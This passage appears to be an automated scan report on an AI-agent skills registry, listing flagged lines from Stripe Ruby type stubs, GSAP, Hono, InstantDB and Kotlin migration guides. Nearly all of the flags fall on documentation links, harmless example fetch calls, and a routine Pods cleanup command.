    # Creates a SetupIntent object.     #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 35
    #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)     # it to collect any required permissions to charge the payment method later.
  • Network accessline 36
    # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 51
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Network accessline 52
    #     # When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details.     sig {
  • Network accessline 53
    # When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/source_service.rbi

  • Network accessline 26
    # Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged.     #     # This request accepts the metadata and owner as arguments. It is also possible to update type spec
  • Network accessline 27
    #     # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for mo
  • Network accessline 28
    # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/subscription_service.rbi

  • Network accessline 5
    module Stripe   class SubscriptionService < StripeService     # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [
  • Network accessline 6
    class SubscriptionService < StripeService     # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https:
  • Network accessline 7
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 8
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 9
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 20
    # The payment_behavior parameter determines the exact behavior of the initial payment.     #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil
  • Network accessline 21
    #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.     # Schedules provide the fl
  • Network accessline 22
    # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.
  • Network accessline 59
    # Search for subscriptions you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 68
    # Updates an existing subscription to match the specified parameters.     # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is cal
  • Network accessline 69
    # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice
  • Network accessline 70
    # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint.
  • Network accessline 80
    #     #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio
  • Network accessline 81
    #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan
  • Network accessline 82
    # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h
  • Network accessline 83
    #     # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create
  • Network accessline 84
    # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora
  • Network accessline 86
    # If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in
  • Network accessline 87
    #     # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based b
  • Network accessline 88
    # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/tax_code_service.rbi

  • Network accessline 5
    module Stripe   class TaxCodeService < StripeService     # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.
  • Network accessline 6
    class TaxCodeService < StripeService     # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.     sig {
  • Network accessline 7
    # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/terminal/location_service.rbi

  • Network accessline 7
    class LocationService < StripeService       # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/lo
  • Network accessline 8
    # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.       sig {
  • Network accessline 9
    # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/terminal/reader_service.rbi

  • Network accessline 6
    module Terminal     class ReaderService < StripeService       # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#progr
  • Network accessline 7
    class ReaderService < StripeService       # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation
  • Network accessline 8
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 14
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 20
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 26
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 50
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 56
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 62
    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 74
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/token_service.rbi

  • Network accessline 6
    class TokenService < StripeService     # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do
  • Network accessline 7
    # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account]
  • Network accessline 8
    # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/transfer_service.rbi

  • Network accessline 6
    class TransferService < StripeService     attr_reader :reversals     # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able 
  • Network accessline 7
    attr_reader :reversals     # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll re
  • Network accessline 8
    # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/webhook_endpoint_service.rbi

  • Network accessline 5
    module Stripe   class WebhookEndpointService < StripeService     # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint th
  • Network accessline 6
    class WebhookEndpointService < StripeService     # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the 
  • Network accessline 7
    # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc
  • Network accessline 13
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.

packages/autoskills/skills-registry/generating-sorbet/reference/syntax.md

  • Network accessline 3
    Source: https://sorbet.org/docs/rbi

packages/autoskills/skills-registry/golang-patterns/SKILL.md

  • Network accessline 274
    ch := make(chan []byte)     go func() {         data, _ := fetch(url)
  • Network accessline 275
    go func() {         data, _ := fetch(url)         ch <- data // Blocks forever if no receiver
  • Network accessline 276
    data, _ := fetch(url)
  • Network accessline 284
    ch := make(chan []byte, 1) // Buffered channel     go func() {         data, err := fetch(url)
  • Network accessline 285
    go func() {         data, err := fetch(url)         if err != nil {
  • Network accessline 286
    data, err := fetch(url)

packages/autoskills/skills-registry/gsap-core/SKILL.md

  • Network accessline 114
    https://gsap.com/resources/getting-started/Staggers
  • Network accessline 237
    Full docs: [gsap.matchMedia()](https://gsap.com/docs/v3/GSAP/gsap.matchMedia/). For immediate re-run of all matching handlers (e.g. after toggling a reduced-motion control), use **gsap.matchMediaRefresh()**.

packages/autoskills/skills-registry/gsap-plugins/SKILL.md

  • Network accessline 17
    Every GSAP plugin is **free**, including for commercial use. Since [Webflow's acquisition of GSAP](https://gsap.com/blog/webflow-GSAP/), Club GSAP is no longer a paid tier and **no plugin requires a membership, license key, or auth token** 
  • Network accessline 101
    https://gsap.com/docs/v3/Plugins/Flip
  • Network accessline 220
    **Learn more:** [SplitText](https://gsap.com/docs/v3/Plugins/SplitText/)
  • Network accessline 258
    **Learn more:** [DrawSVG](https://gsap.com/docs/v3/Plugins/DrawSVGPlugin)
  • Network accessline 301
    **Learn more:** [MorphSVG](https://gsap.com/docs/v3/Plugins/MorphSVGPlugin)
  • Network accessline 433
    https://gsap.com/docs/v3/Plugins/

packages/autoskills/skills-registry/gsap-react/SKILL.md

  • Network accessline 136
    https://gsap.com/resources/React

packages/autoskills/skills-registry/gsap-scrolltrigger/SKILL.md

  • Network accessline 44
    Main properties for the `scrollTrigger` config object (shorthand: `scrollTrigger: ".selector"` sets only `trigger`). See [ScrollTrigger docs](https://gsap.com/docs/v3/Plugins/ScrollTrigger/) for the full list.
  • Network accessline 118
    See [ScrollTrigger.batch()](https://gsap.com/docs/v3/Plugins/ScrollTrigger/static.batch/) in the GSAP docs.
  • Network accessline 149
    See [ScrollTrigger.scrollerProxy()](https://gsap.com/docs/v3/Plugins/ScrollTrigger/static.scrollerProxy/) in the GSAP docs.
  • Network accessline 295
    https://gsap.com/docs/v3/Plugins/ScrollTrigger/

packages/autoskills/skills-registry/gsap-utils/SKILL.md

  • Network accessline 19
    **Omitting the value: function form.** Many utils accept the value to transform as the **last** argument. If you omit that argument, the util returns a **function** that accepts the value later. Use the function form when you need to clamp,
  • Network accessline 180
    See [distribute()](https://gsap.com/docs/v3/GSAP/UtilityMethods/distribute/) for more.
  • Network accessline 205
    Converts a color string into an array: **[red, green, blue]** (0–255), or **[red, green, blue, alpha]** (4 elements for RGBA when alpha is present or required). Pass **true** as the second argument (**returnHSL**) to get **[hue, saturation,
  • Network accessline 284
    https://gsap.com/docs/v3/HelperFunctions

packages/autoskills/skills-registry/hono/SKILL.md

  • Network accessline 12
    For details beyond this inline reference, fetch the latest documentation from https://hono.dev. Get the index of doc pages from `https://hono.dev/llms.txt`, then fetch a page with the `Accept: text/markdown` header to receive it as Markdown
  • Network accessline 15
    curl -H "Accept: text/markdown" https://hono.dev/docs/helpers/cookie
  • Network accessline 20
    Verify with [Hono CLI](https://github.com/honojs/cli), not with throwaway scripts or a dev server. It is a dev dependency (projects from `create-hono` already have it), loads the app in-process with `app.request()`, and prints JSON. Install
  • Network accessline 437
    Use `jsxRenderer` middleware for layouts. For details, see https://hono.dev/docs/middleware/builtin/jsx-renderer
  • Network accessline 533
    // Using Request object const req = new Request('http://localhost/api', { method: 'DELETE' })
  • Network accessline 534
    const req = new Request('http://localhost/api', { method: 'DELETE' })
  • Network accessline 561
    const client = hc<AppType>('http://localhost:8787/')
  • Network accessline 594
    For details, see `https://hono.dev/docs/helpers/<helper-name>` (fetch with `Accept: text/markdown`).

packages/autoskills/skills-registry/implement-background-job/assets/retry_examples.md

  • Network accessline 9
    def perform(resource_id)     resource = Resource.find(resource_id)     ApiClient.fetch(resource.api_endpoint)
  • Network accessline 10
    resource = Resource.find(resource_id)     ApiClient.fetch(resource.api_endpoint)   end
  • Network accessline 11
    ApiClient.fetch(resource.api_endpoint)

packages/autoskills/skills-registry/instantdb/SKILL.md

  • Network accessline 51
    - Sign up for free or log in at https://instantdb.com
  • Network accessline 417
    - [Common mistakes](https://www.instantdb.com/docs/common-mistakes.md): Common mistakes when working with Instant
  • Network accessline 418
    - [Initializing Instant](https://www.instantdb.com/docs/init.md): How to integrate Instant with your app.
  • Network accessline 419
    - [Modeling data](https://www.instantdb.com/docs/modeling-data.md): How to model data with Instant's schema.
  • Network accessline 420
    - [Writing data](https://www.instantdb.com/docs/instaml.md): How to write data with Instant using InstaML.
  • Network accessline 421
    - [Reading data](https://www.instantdb.com/docs/instaql.md): How to read data with Instant using InstaQL.
  • Network accessline 422
    - [Instant on the Backend](https://www.instantdb.com/docs/backend.md): How to use Instant on the server with the Admin SDK.
  • Network accessline 423
    - [Patterns](https://www.instantdb.com/docs/patterns.md): Common patterns for working with InstantDB.
  • Network accessline 424
    - [Auth](https://www.instantdb.com/docs/auth/magic-codes.md): How to add magic code auth to your Instant app.
  • Network accessline 425
    - [Guest Auth](https://www.instantdb.com/docs/auth/guest-auth.md): How to add guest auth to your Instant app.
  • Network accessline 426
    - [Other Auth](https://www.instantdb.com/docs/auth.md): Additional auth methods supported by Instant.
  • Network accessline 427
    - [Managing users](https://www.instantdb.com/docs/users.md): How to manage users in your Instant app.
  • Network accessline 428
    - [Presence, Cursors, and Activity](https://www.instantdb.com/docs/presence-and-topics.md): How to add ephemeral features like presence and cursors to your Instant app.
  • Network accessline 429
    - [Instant CLI](https://www.instantdb.com/docs/cli.md): How to use the Instant CLI to manage schema.
  • Network accessline 430
    - [Storage](https://www.instantdb.com/docs/storage.md): How to upload and serve files with Instant.
  • Network accessline 431
    - [Streams](https://www.instantdb.com/docs/streams.md): How to use streams with Instant.
  • Network accessline 432
    - [Stripe Payments](https://www.instantdb.com/docs/stripe-payments.md): How to integrate Stripe payments with Instant.
  • Network accessline 433
    - [React Native](https://www.instantdb.com/docs/start-rn.md): How to use Instant in React Native apps.
  • Network accessline 434
    - [Vanilla JS](https://www.instantdb.com/docs/start-vanilla.md): How to use Instant in vanilla JS apps.
  • Network accessline 435
    - [SolidJS](https://www.instantdb.com/docs/start-solidjs.md): How to use Instant in SolidJS apps.
  • Network accessline 436
    - [Svelte](https://www.instantdb.com/docs/start-svelte.md): How to use Instant in Svelte apps.
  • Network accessline 437
    - [Vue](https://www.instantdb.com/docs/start-vue.md): How to use Instant in Vue apps.
  • Network accessline 438
    - [TanStack](https://www.instantdb.com/docs/start-tanstack.md): How to use Instant in TanStack apps.
  • Network accessline 439
    - [Python](https://www.instantdb.com/docs/start-python.md): How to use Instant with Python.

packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/SKILL.md

  • Network accessline 477
    ### KMP Library Plugin Issues - **BuildConfig unavailable** in library modules — use DI/`AppConfiguration` interface, or use [BuildKonfig](https://github.com/yshrsmz/BuildKonfig) or [gradle-buildconfig-plugin](https://github.com/gmazzo/grad
  • Network accessline 478
    - **BuildConfig unavailable** in library modules — use DI/`AppConfiguration` interface, or use [BuildKonfig](https://github.com/yshrsmz/BuildKonfig) or [gradle-buildconfig-plugin](https://github.com/gmazzo/gradle-buildconfig-plugin) for com

packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/references/KNOWN-ISSUES.md

  • Network accessline 26
    actual val versionName: String = context.packageManager         .getPackageInfo(context.packageName, 0).versionName ?: "unknown"     actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com"
  • Network accessline 27
    .getPackageInfo(context.packageName, 0).versionName ?: "unknown"     actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com" }
  • Network accessline 28
    actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com"
  • Network accessline 33
    actual val isDebug: Boolean = Platform.isDebugBinary     actual val versionName: String = NSBundle.mainBundle.objectForInfoDictionaryKey("CFBundleShortVersionString") as? String ?: "unknown"     actual val apiBaseUrl: String = if (isDebug) 
  • Network accessline 34
    actual val versionName: String = NSBundle.mainBundle.objectForInfoDictionaryKey("CFBundleShortVersionString") as? String ?: "unknown"     actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.c
  • Network accessline 35
    actual val apiBaseUrl: String = if (isDebug) "https://dev.api.example.com" else "https://api.example.com"
  • Network accessline 41
    **Alternative A — BuildKonfig plugin** ([github.com/yshrsmz/BuildKonfig](https://github.com/yshrsmz/BuildKonfig)):
  • Network accessline 55
    defaultConfigs {         buildConfigField(STRING, "API_BASE_URL", "https://api.example.com")
  • Network accessline 56
    buildConfigField(STRING, "API_BASE_URL", "https://api.example.com")
  • Network accessline 77
    defaultConfigs("dev") {     buildConfigField(STRING, "API_BASE_URL", "https://dev.api.example.com")
  • Network accessline 78
    buildConfigField(STRING, "API_BASE_URL", "https://dev.api.example.com")
  • Network accessline 80
    } defaultConfigs("release") {     buildConfigField(STRING, "API_BASE_URL", "https://api.example.com")
  • Network accessline 81
    defaultConfigs("release") {     buildConfigField(STRING, "API_BASE_URL", "https://api.example.com")     buildConfigField(BOOLEAN, "IS_DEBUG", "false")
  • Network accessline 82
    buildConfigField(STRING, "API_BASE_URL", "https://api.example.com")
  • Network accessline 87
    **Alternative B — gradle-buildconfig-plugin** ([github.com/gmazzo/gradle-buildconfig-plugin](https://github.com/gmazzo/gradle-buildconfig-plugin)):

packages/autoskills/skills-registry/kotlin-tooling-agp9-migration/scripts/analyze-project.sh

  • Executable scriptline 1
    #!/bin/sh

packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/SKILL.md

  • Network accessline 87
    This property was a workaround (see [KT-64096](https://youtrack.jetbrains.com/issue/KT-64096)) for projects using `embedAndSign` alongside CocoaPods dependencies. It suppresses an error about unsupported configurations that can cause runtim
  • Network accessline 99
    | Library | Maven artifact | Bundled klib namespace | Classes provided | |---------|---------------|----------------------|-----------------| | [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) | `io.github.mirzemehdi:kmpnotifier` | 
  • Network accessline 101
    | [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) | `io.github.mirzemehdi:kmpnotifier` | `cocoapods.FirebaseMessaging` | `FIRMessaging`, `FIRMessagingAPNSTokenType`, etc. |
  • Network accessline 177
    swiftPackage(url = "https://github.com/owner/repo.git", version = "1.0.0", products = listOf("ProductName"))
  • Network accessline 199
    swiftPackage(             url = "https://github.com/owner/repo.git",
  • Network accessline 200
    url = "https://github.com/owner/repo.git",
  • Network accessline 309
    **Example** (project using [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier)):
  • Dangerous shell operationline 376
    rm -rf Podfile Podfile.lock Pods/
  • Dangerous shell operationline 379
    rm -rf "${XCODEPROJ_NAME}.xcworkspace"
  • Dangerous shell operationline 385
    # rm -f shared.podspec

packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/common-pods-mapping.md

  • Network accessline 7
    All Firebase products come from a single repository: `https://github.com/firebase/firebase-ios-sdk.git`
  • Network accessline 47
    // SwiftPM — use same version as pod swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 48
    swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",     version = "12.5.0",
  • Network accessline 49
    url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 67
    // SwiftPM — use same version as pod swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 68
    swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",     version = "12.5.0",
  • Network accessline 69
    url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 89
    // SwiftPM - Note the importedClangModules parameter (typed API required) swiftPackage(     url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 90
    swiftPackage(     url = url("https://github.com/firebase/firebase-ios-sdk.git"),     version = from("12.5.0"),
  • Network accessline 91
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 112
    // SwiftPM - Note the importedClangModules parameter (typed API required) swiftPackage(     url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 113
    swiftPackage(     url = url("https://github.com/firebase/firebase-ios-sdk.git"),     version = from("12.5.0"),
  • Network accessline 114
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 135
    // SwiftPM — use same version as pod swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 136
    swiftPackage(     url = "https://github.com/firebase/firebase-ios-sdk.git",     version = "12.5.0",
  • Network accessline 137
    url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 168
    // Combined Firebase requires typed API for importedClangModules control     swiftPackage(         url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 169
    swiftPackage(         url = url("https://github.com/firebase/firebase-ios-sdk.git"),         version = from("12.5.0"),
  • Network accessline 170
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 239
    Repository: `https://github.com/googlemaps/ios-maps-sdk.git`
  • Network accessline 246
    - CocoaPods subspec `GoogleMaps/Maps` maps to the single `GoogleMaps` SPM product - Requires a Google Maps Platform API key configured in the iOS app - Check [releases](https://github.com/googlemaps/ios-maps-sdk/releases) for available SPM 
  • Network accessline 248
    - Check [releases](https://github.com/googlemaps/ios-maps-sdk/releases) for available SPM versions
  • Network accessline 254
    // SwiftPM — use the exact same version as the pod swiftPackage(     url = "https://github.com/googlemaps/ios-maps-sdk.git",
  • Network accessline 255
    swiftPackage(     url = "https://github.com/googlemaps/ios-maps-sdk.git",     version = "10.10.0",
  • Network accessline 256
    url = "https://github.com/googlemaps/ios-maps-sdk.git",
  • Access to secretsline 274
    [Credential-related source omitted]
  • Network accessline 281
    Repository: `https://github.com/google/GoogleSignIn-iOS.git`
  • Network accessline 293
    // SwiftPM — use same version as pod swiftPackage(     url = "https://github.com/google/GoogleSignIn-iOS.git",
  • Network accessline 294
    swiftPackage(     url = "https://github.com/google/GoogleSignIn-iOS.git",     version = "8.0.0",
  • Network accessline 295
    url = "https://github.com/google/GoogleSignIn-iOS.git",
  • Network accessline 307
    **iOS project requirement:** Add `GIDClientID` to `Info.plist` and configure the URL scheme for OAuth redirect. See [Google Sign-In iOS docs](https://developers.google.com/identity/sign-in/ios/start-integrating).
  • Network accessline 319
    // SwiftPM — use same version as pod swiftPackage(     url = "https://github.com/lukaskubanek/LoremIpsum.git",
  • Network accessline 320
    swiftPackage(     url = "https://github.com/lukaskubanek/LoremIpsum.git",     version = "2.0.1",
  • Network accessline 321
    url = "https://github.com/lukaskubanek/LoremIpsum.git",
  • Network accessline 366
    Repository: [https://github.com/mirzemehdi/KMPNotifier](https://github.com/mirzemehdi/KMPNotifier)
  • Network accessline 376
    **Verifying bundled klib contents:** Use `klib dump-metadata-signatures` to inspect what a library's klib provides ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):
  • Network accessline 394
    Repository: [https://github.com/GitLiveApp/firebase-kotlin-sdk](https://github.com/GitLiveApp/firebase-kotlin-sdk)
  • Network accessline 434
    1. **Check GitHub repository** - Look for a `Package.swift` file in the repo 2. **Check CocoaPods spec** - The `source` field often points to the Git URL 3. **Search Swift Package Index** - https://swiftpackageindex.com/
  • Network accessline 435
    2. **Check CocoaPods spec** - The `source` field often points to the Git URL 3. **Search Swift Package Index** - https://swiftpackageindex.com/ 4. **Check library documentation** - Many libraries document SPM installation
  • Network accessline 436
    3. **Search Swift Package Index** - https://swiftpackageindex.com/
  • Network accessline 450
    If you suspect a KMP library bundles its own cinterop klibs (common for libraries wrapping iOS SDKs), use the `klib` tool to inspect them ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):

packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/dsl-reference.md

  • Network accessline 46
    swiftPackage(     url = "https://github.com/owner/repo.git",
  • Network accessline 47
    url = "https://github.com/owner/repo.git",
  • Network accessline 58
    swiftPackage(     url = url("https://github.com/owner/repo.git"),
  • Network accessline 59
    url = url("https://github.com/owner/repo.git"),
  • Network accessline 175
    swiftPackage(         url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 176
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 242
    // Simple API — most packages         swiftPackage(             url = "https://github.com/lukaskubanek/LoremIpsum.git",
  • Network accessline 243
    swiftPackage(             url = "https://github.com/lukaskubanek/LoremIpsum.git",             version = "2.0.1",
  • Network accessline 244
    url = "https://github.com/lukaskubanek/LoremIpsum.git",
  • Network accessline 249
    // Simple API — Google Maps         swiftPackage(             url = "https://github.com/googlemaps/ios-maps-sdk.git",
  • Network accessline 250
    swiftPackage(             url = "https://github.com/googlemaps/ios-maps-sdk.git",             version = "10.3.0",
  • Network accessline 251
    url = "https://github.com/googlemaps/ios-maps-sdk.git",
  • Network accessline 279
    // Main dependency     swiftPackage(         url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 280
    swiftPackage(         url = "https://github.com/firebase/firebase-ios-sdk.git",         version = "12.5.0",
  • Network accessline 281
    url = "https://github.com/firebase/firebase-ios-sdk.git",
  • Network accessline 286
    // Transitive dependency with explicit version pin     swiftPackage(         url = url("https://github.com/apple/swift-protobuf.git"),
  • Network accessline 287
    swiftPackage(         url = url("https://github.com/apple/swift-protobuf.git"),         version = exact("1.32.0"),
  • Network accessline 288
    url = url("https://github.com/apple/swift-protobuf.git"),

packages/autoskills/skills-registry/kotlin-tooling-cocoapods-spm-migration/references/troubleshooting.md

  • Network accessline 169
    **Cause:** A third-party KMP library (e.g., [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) — `io.github.mirzemehdi:kmpnotifier`) bundles its own pre-built cinterop klib with the `cocoapods.FirebaseMessaging` namespace. The swiftPM
  • Network accessline 181
    **How to identify bundled klibs in advance:** Check if the project depends on KMP libraries that wrap iOS SDKs. Known libraries: [KMPNotifier](https://github.com/mirzemehdi/KMPNotifier) (bundles `cocoapods.FirebaseMessaging`). Also check fo
  • Network accessline 183
    **Inspecting klib contents:** Use `klib dump-metadata-signatures` to verify which classes a klib provides ([docs](https://kotlinlang.org/docs/native-libraries.html#using-kotlin-native-compiler)):
  • Network accessline 216
    **Cause:** [firebase-kotlin-sdk](https://github.com/GitLiveApp/firebase-kotlin-sdk) (`dev.gitlive:firebase-*`) was published with CocoaPods-era cinterop klibs. These klibs have `-framework FirebaseCore`, `-framework FirebaseAuth`, etc. bake
  • Network accessline 297
    swiftPackage(         url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 298
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 336
    swiftPackage(     url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 337
    url = url("https://github.com/firebase/firebase-ios-sdk.git"),
  • Network accessline 431
    swiftPackage(     url = url("https://github.com/googlemaps/ios-maps-sdk.git"),
  • Network accessline 432
    url = url("https://github.com/googlemaps/ios-maps-sdk.git"),
  • Network accessline 440
    Check [releases page](https://github.com/googlemaps/ios-maps-sdk/releases) for valid versions.
  • Network accessline 582
    1. **Check sample projects:**    - [kmp-with-cocoapods-compose-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-compose-sample/tree/spm_import)
  • Network accessline 583
    - [kmp-with-cocoapods-compose-sample (spm_import branch)](https://github.com/Kotlin/kmp-with-cocoapods-compose-sample/tree/spm_import)
  • Network accessline 584
